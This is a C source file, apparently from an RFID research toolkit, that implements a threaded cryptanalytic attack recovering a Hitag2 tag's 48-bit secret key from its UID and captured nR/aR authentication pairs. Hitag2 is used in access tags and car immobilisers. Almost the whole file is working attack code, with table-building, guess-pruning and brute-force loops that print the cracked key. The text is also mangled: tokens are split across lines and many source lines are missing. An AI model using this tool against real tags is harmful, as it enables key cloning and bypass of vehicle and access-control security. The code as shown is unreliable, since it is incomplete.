7 #include "hitagcrypto.h"
8 #include "ht2crackutils.h"
10 // max number of NrAr pairs to load - you only need 136 good pairs, but this
15 // table entry for Tkleft
22 // table entry for nR aR pair
28 // struct to hold data for thread
37 // macros to pick out 4 bits in various patterns of 1s & 2s & make a new number
38 // these and the following hitag2_crypt function taken from Rfidler
39 #define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )
40 #define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
41 ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )
42 #define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
43 ((S >> (C - 2)) & 0xC) )
44 #define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \
45 ((S >> (C - 3)) & 8) )
46 #define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \
47 ((S >> (C - 3)) & 8) )
50 static uint32_t hitag2_crypt(uint64_t s
) {
51 const uint32_t ht2_function4a
= 0x2C79; // 0010 1100 0111 1001
52 const uint32_t ht2_function4b
= 0x6671; // 0110 0110 0111 0001
53 const uint32_t ht2_function5c
= 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011
56 bitindex
= (ht2_function4a
>> pickbits2_2(s
, 1, 4)) & 1;
57 bitindex
|= ((ht2_function4b
<< 1) >> pickbits1_1_2(s
, 7, 11, 13)) & 0x02;
58 bitindex
|= ((ht2_function4b
<< 2) >> pickbits1x4(s
, 16, 20, 22, 25)) & 0x04;
59 bitindex
|= ((ht2_function4b
<< 3) >> pickbits2_1_1(s
, 27, 30, 32)) & 0x08;
60 bitindex
|= ((ht2_function4a
<< 4) >> pickbits1_2_1(s
, 33, 42, 45)) & 0x10;
62 return (ht2_function5c
>> bitindex
) & 1;
66 // this function is a modification of the filter function f, based heavily
67 // on the hitag2_crypt function in Rfidler
68 static int fnP(uint64_t klowery
) {
69 const uint32_t ht2_function4a
= 0x2C79; // 0010 1100 0111 1001
70 const uint32_t ht2_function4b
= 0x6671; // 0110 0110 0111 0001
71 const uint32_t ht2_function4p
= 0xAE83; // 1010 1110 1000 0011
74 i
= (ht2_function4a
>> pickbits2_2(klowery
, 2, 5)) & 1;
75 i
|= ((ht2_function4b
<< 1) >> pickbits1_1_2(klowery
, 8, 12, 14)) & 0x02;
76 i
|= ((ht2_function4b
<< 2) >> pickbits1x4(klowery
, 17, 21, 23, 26)) & 0x04;
77 i
|= ((ht2_function4b
<< 3) >> pickbits2_1_1(klowery
, 28, 31, 33)) & 0x08;
79 // modified to use reference implementation approach
80 // orig fc table is 0x7907287B = 0111 1001 0000 0111 0010 1000 0111 1011
81 // we ignore the top bit (bit 4) of the parameter, so therefore create a new
82 // table that indicates which bit positions are the same if the top bit is 1 or 0
83 return (ht2_function4p
>> i
) & 1;
86 // comparison function for sorting/searching Tklower entries
87 static int Tk_cmp(const void *v1
, const void *v2
) {
88 const struct Tklower
*Tk1
= (struct Tklower
*)v1
;
89 const struct Tklower
*Tk2
= (struct Tklower
*)v2
;
91 if (Tk1
->yxorb
< Tk2
->yxorb
) {
93 } else if (Tk1
->yxorb
> Tk2
->yxorb
) {
100 // test for bad guesses of kmiddle
101 static int is_kmiddle_badguess(uint64_t z
, struct Tklower
*Tk
, int max
, int aR0
) {
103 struct Tklower
*result
, target
;
105 // "If there is an entry in Tklower for which y ^ b = z but !b32 != aR[0]
106 // then the attacker learns that kmiddle is a bad guess... otherwise, if
107 // !b32 == aR[0] then kmiddle is still a viable guess."
111 result
= (struct Tklower
*)bsearch(&target
, Tk
, max
, sizeof(struct Tklower
), Tk_cmp
);
114 if (result
->notb32
!= aR0
) {
124 // function to test if a partial key is valid
125 static int testkey(uint64_t *out
, uint64_t uid
, uint64_t pkey
, uint64_t nR
, uint64_t aR
) {
133 normaR
= ((revaR
>> 24) | ((revaR
>> 8) & 0xff00) | ((revaR
<< 8) & 0xff0000) | (revaR
<< 24));
135 // search for remaining 14 bits
136 for (kupper
= 0; kupper
< 0x3fff; kupper
++) {
137 uint64_t key
= (kupper
<< 34) | pkey
;
138 hitag2_init(&hstate
, key
, uid
, nR
);
139 uint64_t b
= hitag2_nstep(&hstate
, 32);
140 if ((normaR
^ b
) == 0xffffffff) {
148 // some notes on how I think this attack should work.
149 // due to the way fc works, in a number of cases, it doesn't matter what
150 // the most significant bits are doing for it to produce the same result.
151 // These are the most sig 14 bits to be clear. Looking at fc it is poss
152 // to see cases where the most sig bit of the input to fc (which is made
153 // from fa on 4 of the most sig bits from bit 34 onwards) does not affect
154 // whether it gives a 0 or 1 as the input 0b0ABCD gives the same bit value
156 // The PRNG is initialised by setting the lower 32 bits to the UID, with
157 // the upper 16 bits set to the lower 16 bits of the key. Next the 32
158 // upper bits of the key are XORed with the private nonce and these are
159 // shifted in, with the PRNG outputting bits b0 to b31. These bits are
160 // used to encrypt (XOR with) the nonce to produce nR, which is sent to
162 // (The card should init the PRNG with the same UID and lower 16 bits of
163 // the key, receive the nR, then shift it in bit by bit while xoring each
164 // bit with its output, and the key - this essentially decrypts the nR to
165 // the nonce XOR the upper 32 bits of the key, while shifting it in.
166 // The card's PRNG will then be in the same state as the RWD.)
167 // By knowing the UID and guessing the lower 16 bits of the key, and
168 // focusing on nR values that don't affect the upper bits of fc, we can
169 // limit our guesses to a smaller set than a full brute force and
170 // effectively work out candidates for the lower 34 bits of the key.
172 static void *crack(void *d
) {
173 struct threaddata
*data
= (struct threaddata
*)d
;
176 unsigned int numnrar
;
180 uint64_t klower
, kmiddle
, klowery
;
181 uint64_t y
, b
, z
, bit
;
183 uint64_t foundkey
, revkey
;
186 unsigned int badguess
;
187 struct Tklower
*Tk
= NULL
;
190 printf("Thread data is NULL\n");
196 numnrar
= data
->numnrar
;
198 // create space for tables
199 Tk
= (struct Tklower
*)calloc(sizeof(struct Tklower
) * 0x40000, sizeof(uint8_t));
201 printf("Failed to allocate memory (Tk)\n");
206 for (klower
= data
->klowerstart
; klower
< (data
->klowerstart
+ data
->klowerrange
); klower
++) {
207 printf("trying klower = 0x%05"PRIx64
"\n", klower
);
209 unsigned int count
= 0;
210 for (y
= 0; y
< 0x40000; y
++) {
212 klowery
= (y
<< 16) | klower
;
213 // check for cases where right most bit of fc doesn't matter
217 Tk
[count
].klowery
= klowery
;
218 // build the initial prng state
219 uint64_t shiftreg
= (klower
<< 32) | uid
;
220 // insert y into shiftreg and extract keystream, reversed order
223 for (j
= 0; j
< 2; j
++) {
224 shiftreg
= shiftreg
| ((ytmp
& 0xffff) << 48);
225 for (i
= 0; i
< 16; i
++) {
226 shiftreg
= shiftreg
>> 1;
227 bit
= hitag2_crypt(shiftreg
);
228 b
= (b
>> 1) | (bit
<< 31);
233 // store the xor of y and b0-17
234 Tk
[count
].yxorb
= y
^ (b
& 0x3ffff);
236 // get and store inverse of next bit from prng
237 // don't need to worry about shifting in the new bit because
238 // it doesn't affect the filter function anyway
239 shiftreg
= shiftreg
>> 1;
240 Tk
[count
].notb32
= hitag2_crypt(shiftreg
) ^ 0x1;
247 qsort(Tk
, count
, sizeof(struct Tklower
), Tk_cmp
);
250 for (kmiddle
= 0; kmiddle
< 0x40000; kmiddle
++) {
251 // loop over nRaR pairs
254 for (i
= 0; (i
< numnrar
) && (!badguess
); i
++) {
255 z
= kmiddle
^ (TnRaR
[i
].nR
& 0x3ffff);
256 ret
= is_kmiddle_badguess(z
, Tk
, count
, TnRaR
[i
].aR
& 0x1);
259 } else if (ret
== 0) {
264 if ((found
) && (!badguess
)) {
266 printf("possible partial key found: 0x%012"PRIx64
"\n", ((uint64_t)kmiddle
<< 16) | klower
);
268 if (testkey(&foundkey
, uid
, (kmiddle
<< 16 | klower
), TnRaR
[0].nR
, TnRaR
[0].aR
) &&
269 testkey(&foundkey
, uid
, (kmiddle
<< 16 | klower
), TnRaR
[1].nR
, TnRaR
[1].aR
)) {
270 // normalise foundkey
271 revkey
= rev64(foundkey
);
272 foundkey
= ((revkey
>> 40) & 0xff) | ((revkey
>> 24) & 0xff00) | ((revkey
>> 8) & 0xff0000) | ((revkey
<< 8) & 0xff000000) | ((revkey
<< 24) & 0xff00000000) | ((revkey
<< 40) & 0xff0000000000);
273 printf("\n\nSuccess - key = %012"PRIx64
"\n", foundkey
);
276 return (void *)foundkey
;
287 int main(int argc
, char *argv
[]) {
290 pthread_t threads
[NUM_THREADS
];
294 uint64_t klowerstart
;
295 unsigned int numnrar
= 0;
301 struct nRaR
*TnRaR
= NULL
;
302 struct threaddata
*tdata
= NULL
;
305 printf("%s uid nRaRfile\n", argv
[0]);
309 // read the UID into internal format
310 if (!strncmp(argv
[1], "0x", 2)) {
311 uid
= rev32(hexreversetoulong(argv
[1] + 2));
313 uid
= rev32(hexreversetoulong(argv
[1]));
316 // create table of nR aR pairs
317 TnRaR
= (struct nRaR
*)calloc(sizeof(struct nRaR
) * NUM_NRAR
, sizeof(uint8_t));
320 fp
= fopen(argv
[2], "r");
322 printf("cannot open nRaRfile\n");
326 // set klowerstart (for debugging)
328 klowerstart
= strtol(argv
[3], NULL
, 0);
333 // read in nR aR pairs
335 buf
= (char *)calloc(1, lenbuf
);
337 printf("cannot calloc buf\n");
341 while (getline(&buf
, &lenbuf
, fp
) > 0) {
342 buft1
= strchr(buf
, ' ');
344 printf("invalid file input on line %u\n", numnrar
+ 1);
349 buft2
= strchr(buft1
, '\n');
351 printf("no CR on line %u\n", numnrar
+ 1);
355 if (!strncmp(buf
, "0x", 2)) {
356 TnRaR
[numnrar
].nR
= rev32(hexreversetoulong(buf
+ 2));
357 TnRaR
[numnrar
].aR
= rev32(hexreversetoulong(buft1
+ 2));
359 TnRaR
[numnrar
].nR
= rev32(hexreversetoulong(buf
));
360 TnRaR
[numnrar
].aR
= rev32(hexreversetoulong(buft1
));
368 printf("Loaded %u NrAr pairs\n", numnrar
);
370 // create table of thread data
371 tdata
= (struct threaddata
*)calloc(1, sizeof(struct threaddata
) * NUM_THREADS
);
373 printf("cannot calloc threaddata\n");
377 for (i
= 0; i
< NUM_THREADS
; i
++) {
379 tdata
[i
].TnRaR
= TnRaR
;
380 tdata
[i
].numnrar
= numnrar
;
381 tdata
[i
].klowerrange
= 0x10000 / NUM_THREADS
;
382 tdata
[i
].klowerstart
= i
* tdata
[i
].klowerrange
;
386 // debug mode only runs one thread from klowerstart
387 tdata
[0].klowerstart
= klowerstart
;
392 // run full threaded mode
393 for (i
= 0; i
< NUM_THREADS
; i
++) {
394 if (pthread_create(&(threads
[i
]), NULL
, crack
, (void *)(tdata
+ i
))) {
395 printf("cannot start thread %d\n", i
);
400 // wait for threads to finish
401 for (i
= 0; i
< NUM_THREADS
; i
++) {
402 if (pthread_join(threads
[i
], &status
)) {
403 printf("cannot join thread %d\n", i
);
406 printf("thread %i finished\n", i
);
408 printf("Key = %012"PRIx64
"\n", (uint64_t)status
);
413 printf("Did not find key :(\n");